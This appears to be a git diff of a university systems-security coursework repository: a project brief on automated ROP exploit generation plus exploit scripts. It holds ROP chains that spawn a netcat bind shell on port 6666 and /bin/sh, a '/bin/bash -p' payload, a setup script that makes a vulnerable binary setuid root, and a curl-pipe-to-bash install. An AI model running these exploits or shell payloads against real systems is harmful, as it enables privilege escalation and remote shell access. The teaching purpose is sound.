print(f"[🤔] Running generated script to create ROP input file...") print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
process(["python3", "script.py", rop_file]).wait()
print(f"[🤩] All done! The ROP input is saved to {rop_file}!") if run:
atexit.unregister(pwnlibexit._run_handlers)
pwnlibexit._run_handlers()
print(f"\nExecuting {exec_file}...\n")
with open(rop_file, 'rb') as f:
proc = run_program(f.read())
if interactive:
term.init()
proc.interactive()
else:
print(proc.recvall().decode('ascii', errors='ignore'))

125
docs/cw_overview.md Normal file
View File

@ -0,0 +1,125 @@
# COMSM0051: Systems & Software Security Coursework
## Introduction
This project validates the whole unit, there is no other assessment. It represents a significant investment of time and effort that should mostly take place during Week 8, 9 and 10. Unlike previously unassessed labs, you will work on an open-ended project that you will choose from a list. We encourage you to form groups of 3 students. You will need as part of the project to submit: a proposal (not assessed), your code + video and a final write up. Some projects have been designed to leverage material you may have learned in other units, this is by design. Security is not a silo and encompasses a large number of computer science sub-disciplines.
We expect every member of a group to participate fully in the project. You are free to organise as you wish, but your personal contribution will be evaluated and need to be demonstrated (see below). We are expecting you to work together and to collaborate effectively. If you have any concern about your group dynamic, do contact us via e-mail.
## Deliverable
### Project proposal - group (formative)
By the end of week 8, you need to have a proposal of your project. You will describe the problem you aim to tackle. The main objective of this deliverable is to ensure that everyone is on track and that you have thought through what you need to do. Your proposal should be at most 1 A4 pages and contain the following information:
- The group members;
- The problem you aim to address;
- How you plan to address it;
- A short summary of one or two relevant academic papers;
- What you are proposing to implement exactly.
- How you plan to distribute this work (this does not need to be final, but you need to plan for equal contributions between all members of the group).
You will be contacted to receive feedback on your proposal. The earlier you submit, the earlier feedback will come. We are encouraging you to not wait for the deadline to get this done.
**Submission Instructions:** see on blackboard.
### Project demonstration - group (graded 30%)
You will demonstrate that your solution works and demonstrate your project. Your project should be coming with a README. You will follow the readme instructions and demonstrate that you obtain the results presented in your report and that you can reproduce the evaluation. The video should be no longer than 10 minutes.
The easiest way to record your “screen” is to use OBS or ZOOM.
**Submission Instructions:** see on blackboard.
| Max-grade | Category | Comment |
|-----------|----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 10% | Technical Clarity | You will explain clearly how to run your project. Technical terminology should be used appropriately. You should assume an educated audience of your peers and explain terminologies and concepts specific to your project. It should be clear how that relates to the evaluation section of your report. |
| 20% | Instructions Clarity | The instructions contained in your README should be simple to follow and lead to the results presented in your report. You need to demonstrate this, by following the instructions step by step in your video. We invite you to start from a “clean” environment. |
### Final write up - group (graded 70%)
You should submit a report following [USENIX Latex conference template](https://www.usenix.org/conferences/author-resources/paper-templates) of roughly 5 pages (excluding reference and appendix). Your report should contain a minimum of six academic citations. We suggest the following structure:
- Introduction
- Background
- Design & Implementation
- Evaluation
- Conclusion
Do not hesitate to use figures to illustrate your point, well-drawn figures can communicate more than a thousand words.
**In addition in the appendix you should:**
1. Discuss how well you met your proposals objective. If you did not implement everything you described in your proposal this does not mean that you will fail (or get a bad grade). You should discuss why it could not be done (e.g. technical challenges, change of direction, alternative approach taken, sickness of one of the group members etc.).
2. Your individual contribution to the project as a score (e.g., in a group of three if you all worked equally 33% each) + a few paragraphs describing your individual contributions.You need to all agree on this section. **You are all expected to participate in the technical aspects as well as the writing**. We will take into consideration the complexity of your work as well as your individual contributions when deciding your individual grades. Our intent is to ensure that no one is penalized if one (or several) of the students want to work above and beyond expectations. We will only **improve** individual grades, we wont award any grades below the report grade.
**Submission Instructions:** see on blackboard.
| Max-grade | Category | Comment |
|-----------|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 10% | Presentation | You should use the provided latex template properly. Reference should be appropriately formatted. We expect the presentation standard to be on par with the reading material seen during lectures. |
| 20% | Literature Review | You will identify the relevant academic literature, show understanding of the papers you have selected and cite them appropriately. It should be clear how they relate to your work. You are expected to explore beyond the papers assigned as reading material. |
| 20% | Design & Implementation | You should describe your implementation at an appropriate level of abstraction (refer to the reading material seen during teaching). You should clearly describe any technical challenges you faced and articulate the design decisions you made and why you believe they were appropriate. This should be understandable by an audience of your peers. |
| 20% | Evaluation | You should evaluate how well the outcome of your work addresses your objectives. You should use quantitative (e.g. measuring performance overhead of a security mechanism) or qualitative (e.g. critical discussion of the security guarantees of a mechanism) as appropriate to your project. You are strongly encouraged to draw from evaluations found in the literature to design yours (reference this clearly when this is the case). |
## List of projects
We propose a selection of topics you can choose from for your coursework. As discussed at the beginning of the unit, the coursework will build on notions learned during lectures and labs. We explicitly mention the existing labs (when appropriate) to help you identify a project. We also propose a few more open-ended projects for those interested. You are strongly encouraged to carefully select your project topic. You need to **pick one project** for your group.
### Lab 3
You may want to watch this [video](https://www.youtube.com/watch?v=4rFxZw3USIs&ab_channel=TheLinuxFoundation) before starting on one of those topics.
**Project 1:** Modify Linux to keep track of the last process and user that modified each file. Perhaps log a warning or raise an alarm when a file is modified by an application that hasn't written to that file before.
**Project 2:** Implement more flexible protection mechanisms for Linux (so that any user can create additional protection domains -- sub-users -- to run code with less privileges, without having to be root). See the last “extra” of the third lab for inspiration.
**Project 3:** You can check the library currently loaded for a given process (` sudo lsof -p <pid>`). Can you build a tool that identifies their origin? You may want to take inspiration from the installation graph concept described in [this paper](https://arxiv.org/pdf/2008.11533.pdf).
### Lab 4
**Project 4:** We learned about generating exploits based on ROP. This CW takes the lab to the next step by generating such exploits automatically. In particular:
1. We assume a stack overflow based vulnerability that overwrites the saved return address. You are supposed to automatically find the input (string) length that is sufficient to overwrite the saved RET (in the lab, you did so by doing manual analysis to find that you needed 44 bytes of junk data before starting to overwrite the saved RET).
2. In the lab, we were generating a ROP chain thatused to setup `execve("/tmp//nc","-lnp","5678","-tte","\bin//sh", NULL)`. In this CW, we need to automatically generate the exploit which takes arbitrary command line for execve and on a successful exploit, you should get that program (argument to execve) launched. (look at the code of the ROPGadget tool)
3. You need to make sure that the exploit works for any chosen .data address (remember, no null bytes!).
4. Rather than forming a ROP of step 2 above (i.e. arbitrary arguments to execve), generate a ROP based exploit for a given arbitrary shellcode (see: [Transforming Malicious Code to ROP Gadgets for Antivirus Evasion](https://ieeexplore.ieee.org/abstract/document/8890330) paper)
### Lab 5
**Project 5:** Find calls to malloc such that the argument to malloc may contain integer overflow bugs. Given a binary:
1. find calls to malloc in a function F
2. find malloc argument, i.e. if malloc(S), find S (calling convention)
3. perform a dataflow analysis to see if the argument to malloc S computed with some arithmetic operation (addition or multiplication, i.e. S= x+y).
4. Perform another dataflow analysis to see if the one of the operands (x or y) of that arithmetic operation is (or related to) an argument to the function F (i.e., if F(a, b), then x or Y is related to a or b.
5. Output such functions.
**Project 6:** Given a binary:
1. iterate over all the functions
2. for each function F, find any loop (if there are) (You may want to use algorithms like Tarjan or Johnson: see [this wikipedia article](https://en.wikipedia.org/wiki/Cycle_(graph_theory).
3. Each loop depends on the concept of back-edge (the edge that forms the loop). Often this is implemented by a compare and jump instruction to the beginning of the loop. By using dataflow analysis, you need to find if this compare instruction depends on a constant or a variable. If it is a variable, perform a dataflow analysis to find if it is related to any of the arguments of the function.
4. output such functions that satisfy the later condition ie. the ones depend on a variable. Often such functions are involved in buffer overflows!
**Project 7:** Implement the static analysis technique used to find similar (vulnerable) functions in a given binary. The technique to implement is [Rendezvous: A Search Engine for Binary Code](https://www.cl.cam.ac.uk/~rja14/Papers/rendezvous.pdf). You are not required to implement all the components of the paper. If you are interested in this, talk to Sanjay to discuss the precise implementation details.
**Project 8:** One of the techniques to find vulnerabilities in binary code is to find clones of known vulnerable functions in a given binary. This project proposes to implement (not in its entirety) the paper: [Detecting code clones in binary executables](https://dl.acm.org/doi/pdf/10.1145/1572272.1572287?casa_token=hxNQP19oipwAAAAA:7lzHocgTF8D7E878TrUqXs7OneuXcSKGkiTvZ3lFykjA4ICy9y6JBS8pHhymeVtpVeuRZT4-OvLE). You will use Ghidra (instead of IDA used in the original paper). As stated, you are not required to implement the whole algorithm, but a part of it. If you are interested in this, talk to Sanjay to discuss the precise implementation details.
**Project 9:** Read [Extracting Compiler Provenance from Program Binaries](http://pages.cs.wisc.edu/%7Ejerryzhu/pub/Rosenblum10prov.pdf). The idea of this project is to identify the compiler that created a given binary. The project involves static analysis using Ghidra to identify instructions of interest and then the application of an ML technique of your choice to generate a classifier. You will be required to collect a good amount of x86 (64) binaries originating from a set of compilers (e.g. gcc, MS visualstudio, intel cc, gcc, clang etc. a maximum of three compilers is good.). You should implement the technique(s) presented in the above mentioned paper.
### Lab 6
**Project 10:** You will use dynamic taintflow analysis to find if an argument to malloc is tainted. To do so, you will use [libdft](https://github.com/AngoraFuzzer/libdft64) to perform the taintflow analysis. This is based on Intel PIN. For more information on taintflow, read: [wikipedia article](https://en.wikipedia.org/wiki/Taint_checking ), [libdft info](https://www.cs.columbia.edu/~vpk/research/libdft/) and Sections I & II of [this paper](https://users.ece.cmu.edu/~aavgerin/papers/Oakland10.pdf).
Once you can identify tainted information at the byte-level that is affecting a malloc call, create a simple fuzzer that changes those bytes (mutation) and feed it to the application to see if any generated input results in a crash.
### Lab 7
**Project 11:** Expand the rootkit you implemented in [Lab 7](https://cs-uob.github.io/COMSM0049/labs/LAB7.html) to further hide your malicious payload (this is quite open-ended, but lab 7 gives a few potential directions, do check the lab).
### Open-ended
**Project 12:** Building on week 2 videos on intrusion detection. Identify a set of papers (2 or 3) proposing intrusion detection algorithms (ideally with source code available, e.g., [Kistune](https://gangw.web.illinois.edu/class/cs598/papers/NDSS18-intrusion.pdf)). Identify publicly available datasets. Using those, design a benchmark to evaluate the effectiveness of the different solutions.
**Project 13:** This project is about writing queries to find vulnerable patterns in the source code. This is integrated in Github. The query language is called [COdeQL](https://help.semmle.com/codeql/codeql-overview.html). This provides an built-in support for dataflow (and taintflow) analysis. With this, we can find patterns where dependency to user input can be shown. Your task is to learn CodeQL (for C lang only) and write COdeQL patterns that find some interesting bugs (e.g. heartbleed, insecure malloc, use-after-free etc.). A similar platform is: [DDlog](https://github.com/vmware/differential-datalog).

168
docs/exploit-nc.py Normal file
View File

@ -0,0 +1,168 @@
"""
This is a demo python script that creates a ROP chain to launch nc as:
> /bin//nc -lnp 6666 -tte /bin//sh
The gadgets in the following code are based on my machine & binary and as a result you will have to adjust the gadget based on your environment.
With the latest ROPGadget tool that we used in the class, we get the following ropchain:
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8056d05 mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ee8b pop edx ; ret
[+] Gadget found: 0x80a8bf6 pop eax ; ret
[+] Gadget found: 0x80562c0 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80562c0 xor eax, eax ; ret
[+] Gadget found: 0x807c32a inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x806eeb2 pop ecx ; pop ebx ; ret
[+] Gadget found: 0x806ee8b pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x8049603 int 0x80
- Step 5 -- Build the ROP chain
"""
#!/usr/bin/env python
from struct import pack
import os
######################################
fileName=raw_input("Enter the file name")
outfile=open(fileName, "wb")
# this is just to create variables of the gadgets that we will be using
DATA = 0x080da120
EDAX0 = pack("<I", 0x08050a88)
STACK = pack("<I", DATA) # @ .data
INT80 = pack("<I", 0x08049603) # int 0x80
MOVISTACK = pack("<I", 0x08056d05) # mov dword ptr [edx], eax ; ret
INCEAX = pack("<I", 0x0807c32a) # inc eax ; ret
POPEDX = pack("<I", 0x0806ee8b) # pop edx ; ret
POPECXEBX = pack("<I", 0x0806eeb2) # pop ecx ; pop ebx ; ret
POPEAX = pack("<I", 0x080a8bf6) # pop eax ; ret
XOREAX = pack("<I", 0x080562c0) # xor eax, eax ; ret
DUMMY = pack("<I", 0x42424242) # padding
buff = "\x42" * 32
buff += "BBBB"*3
buff += POPEDX # it's via %ecx we will build our stack.
buff += STACK # %ecx contain the stack address.
buff += POPEAX # Lets put content in an address
buff += "/tmp" # put "/usr" in %eax
buff += MOVISTACK # put "/bin" in stack address
buff += POPEDX
buff += pack("<I", DATA + 4) # we change our stack for to point after "/bin"
buff += POPEAX # Applying the same for "/nc"
buff += "//nc"
buff += MOVISTACK # we place "//nc" after "/bin"
buff += POPEDX
buff += pack("<I", DATA + 9) # we change our stack for to point after "bin//nc"+1
# we repeated operation for each argument
buff += POPEAX
buff += "-lnp"
buff += MOVISTACK
buff += POPEDX
buff += pack("<I", DATA + 14)
buff += POPEAX
buff += "6666"
buff += MOVISTACK
buff += POPEDX
buff += pack("<I", DATA + 19)
buff += POPEAX
buff += "-tte"
buff += MOVISTACK
buff += POPEDX
buff += pack("<I", DATA + 24)
buff += POPEAX
buff += "/bin"
buff += MOVISTACK
buff += POPEDX
buff += pack("<I", DATA + 28)
buff += POPEAX
buff += "//sh"
buff += MOVISTACK
#
# We currently have our list of elements separated by \0
# Now we must construct our char ** i.e. array 'argguments' of strings
# arguments=[ @"/bin//nc", @"-lnp", @"6666", @"-tte", @"/bin//sh"]
#
buff += POPEDX
buff += pack("<I", DATA + 60) # shadow stack address (@ of arguments)
buff += POPEAX
buff += pack("<I", DATA) # @ of "/bin//nc" 0th item of arguments[]
buff += MOVISTACK # we place address of "/bin//nc" in our STACK
buff += POPEDX
buff += pack("<I", DATA + 64) # we shift our Stack Pointer + 4 for the second argument
buff += POPEAX
buff += pack("<I", DATA + 0x9) # @ of "-lnp"
buff += MOVISTACK # we place address of "-lnp" in our STACK
buff += POPEDX
buff += pack("<I", DATA + 68) # we shift our Stack Pointer + 4 for the 3rd argument
buff += POPEAX
buff += pack("<I", DATA + 0xe) # @ of "6666"
buff += MOVISTACK # we palce address of "6666" in our STACK
buff += POPEDX
buff += pack("<I", DATA + 72) # we shift our Stack Pointer + 4 for the 4th argument
buff += POPEAX
buff += pack("<I", DATA + 0x13) # @ of "-tte"
buff += MOVISTACK # we place address of "-tte" in our STACK
buff += POPEDX
buff += pack("<I", DATA + 76) # we shift our Stack Pointer + 4 for the 5th argument
buff += POPEAX
buff += pack("<I", DATA + 0x18) # @ of "/bin//sh"
buff += MOVISTACK # we place address of "/bin//sh" in our STACK
#
# Now we must implement eax to contain the address of
# the execve syscall.
# execve = 0xb
#
buff += XOREAX # %eax is put to zero.
buff += INCEAX * 11 # %eax is now 0xb
buff += POPEDX # last pop
buff += pack("<I", DATA + 48) # edx char *env
buff += POPECXEBX # last pop
buff += pack("<I", DATA + 60) # ecx char **arguments
buff += pack("<I", DATA) # ebx "/usr/bin//nc"
buff += INT80 # we execute
outfile.write(buff)
outfile.close()
#print buff

Binary file not shown.

BIN
docs/report-src.zip Normal file

Binary file not shown.

BIN
docs/report.pdf Normal file

Binary file not shown.

80
docs/script_reference.py Normal file
View File

@ -0,0 +1,80 @@
# ROP chain generation
# ===========================================================
# - Step 1 -- Write-what-where gadgets
# [+] Gadget found: 0x8056cf5 mov dword ptr [edx], eax ; ret
# [+] Gadget found: 0x806e23b pop edx ; ret
# [+] Gadget found: 0x80a89e6 pop eax ; ret
# [+] Gadget found: 0x80562b0 xor eax, eax ; ret
# - Step 2 -- Init syscall number gadgets
# [+] Gadget found: 0x80562b0 xor eax, eax ; ret
# [+] Gadget found: 0x807b6da inc eax ; ret
# - Step 3 -- Init syscall arguments gadgets
# [+] Gadget found: 0x80481c9 pop ebx ; ret
# [+] Gadget found: 0x806e262 pop ecx ; pop ebx ; ret
# [+] Gadget found: 0x806e23b pop edx ; ret
# - Step 4 -- Syscall gadget
# [+] Gadget found: 0x80495f3 int 0x80
# - Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
import sys
out_file = sys.argv[1]
p = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
p += pack('<I', 0x0806e23b) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a89e6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056cf5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e23b) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a89e6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056cf5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e23b) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080562b0) # xor eax, eax ; ret
p += pack('<I', 0x08056cf5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e262) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e23b) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080562b0) # xor eax, eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x0807b6da) # inc eax ; ret
p += pack('<I', 0x080495f3) # int 0x80
with open(out_file, "wb") as f:
f.write(p)

1
exec_args.json Normal file
View File

@ -0,0 +1 @@
[ "$PAYLOAD$" ]

29
init.sh
View File

@ -7,15 +7,40 @@ sudo apt-get --quiet --assume-yes install build-essential
sudo apt-get --quiet --assume-yes install gdb sudo apt-get --quiet --assume-yes install gdb
sudo apt-get --quiet --assume-yes install gcc-multilib sudo apt-get --quiet --assume-yes install gcc-multilib
sudo apt-get --quiet --assume-yes install zsh sudo apt-get --quiet --assume-yes install zsh
sudo apt-get --quiet --assume-yes install libncurses5 libncurses5-dev libncursesw5 libncurses5:i386
sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git libssl-dev libffi-dev sudo apt-get --assume-yes --quiet install git libssl-dev libffi-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev
sudo apt-get --assume-yes --quiet install python
## pyenv
cd /home/vagrant/ && curl https://pyenv.run | bash
echo 'export PATH="/home/vagrant/.pyenv/bin:$PATH"' >> /home/vagrant/.bashrc
echo 'eval "$(pyenv init -)"' >> /home/vagrant/.bashrc
echo 'eval "$(pyenv virtualenv-init -)"' >> /home/vagrant/.bashrc
export PATH="/home/vagrant/.pyenv/bin:$PATH"
eval "$(pyenv init -)"
eval "$(pyenv virtualenv-init -)"
pyenv install 3.9.0
pyenv global 3.9.0
python3 -m pip install --upgrade setuptools
python3 -m pip install --upgrade pip python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools python3 -m pip install --upgrade pwntools
python3 -m pip uninstall --yes ROPgadget python3 -m pip uninstall --yes ROPgadget
cd /home/vagrant/cw && ./ropinstall.sh cd /home/vagrant/cw && ./ropinstall.sh
python3 -m pip install --upgrade keystone-engine capstone filebytes pyvex
cd /home/vagrant/cw && git clone https://github.com/sashs/Ropper.git
cd /home/vagrant/cw/Ropper && git submodule init && git submodule update
cd /home/vagrant/ && git clone https://github.com/Z3Prover/z3.git && cd z3 && python3 scripts/mk_make.py && cd build && make -j$(nproc) && sudo make install
cp -R /home/vagrant/z3/build/python/z3 /home/vagrant/cw/Ropper
cp /home/vagrant/cw/test-binaries/vuln-32 /home/vagrant/vuln-32-setuid
sudo chown root /home/vagrant/vuln-32-setuid
sudo chmod u+s /home/vagrant/vuln-32-setuid
sudo apt-get clean sudo apt-get clean
echo ":)" echo ":)"

1
rop_exec.json Normal file
View File

@ -0,0 +1 @@
["/bin/echo", "\n[ Successful ROP! ]"]

1
rop_exec_bash.json Normal file
View File

@ -0,0 +1 @@
["/bin/bash", "-p"]

1
rop_exec_default.json Normal file
View File

@ -0,0 +1 @@
["/bin/echo", "\n[ Successful ROP! ]"]

View File

@ -1,4 +1,4 @@
#!/bin/bash #!/bin/bash
cd ROPgadget && sudo python3 setup.py install cd ROPgadget && python3 setup.py install

BIN
test-binaries/crashmail Executable file

Binary file not shown.

View File

@ -0,0 +1 @@
[ "SETTINGS", "$PAYLOAD$" ]

BIN
test-binaries/elf-Linux-x86 Executable file

Binary file not shown.

Binary file not shown.

BIN
test-binaries/null-data-addr Executable file

Binary file not shown.

View File

@ -0,0 +1,2 @@
null-data-addr: null-data-addr.c
gcc -fno-stack-protector -m32 -static $^ -o $@ -Tdata 0x080f0000

Binary file not shown.

BIN
test-binaries/vuln-32 Executable file

Binary file not shown.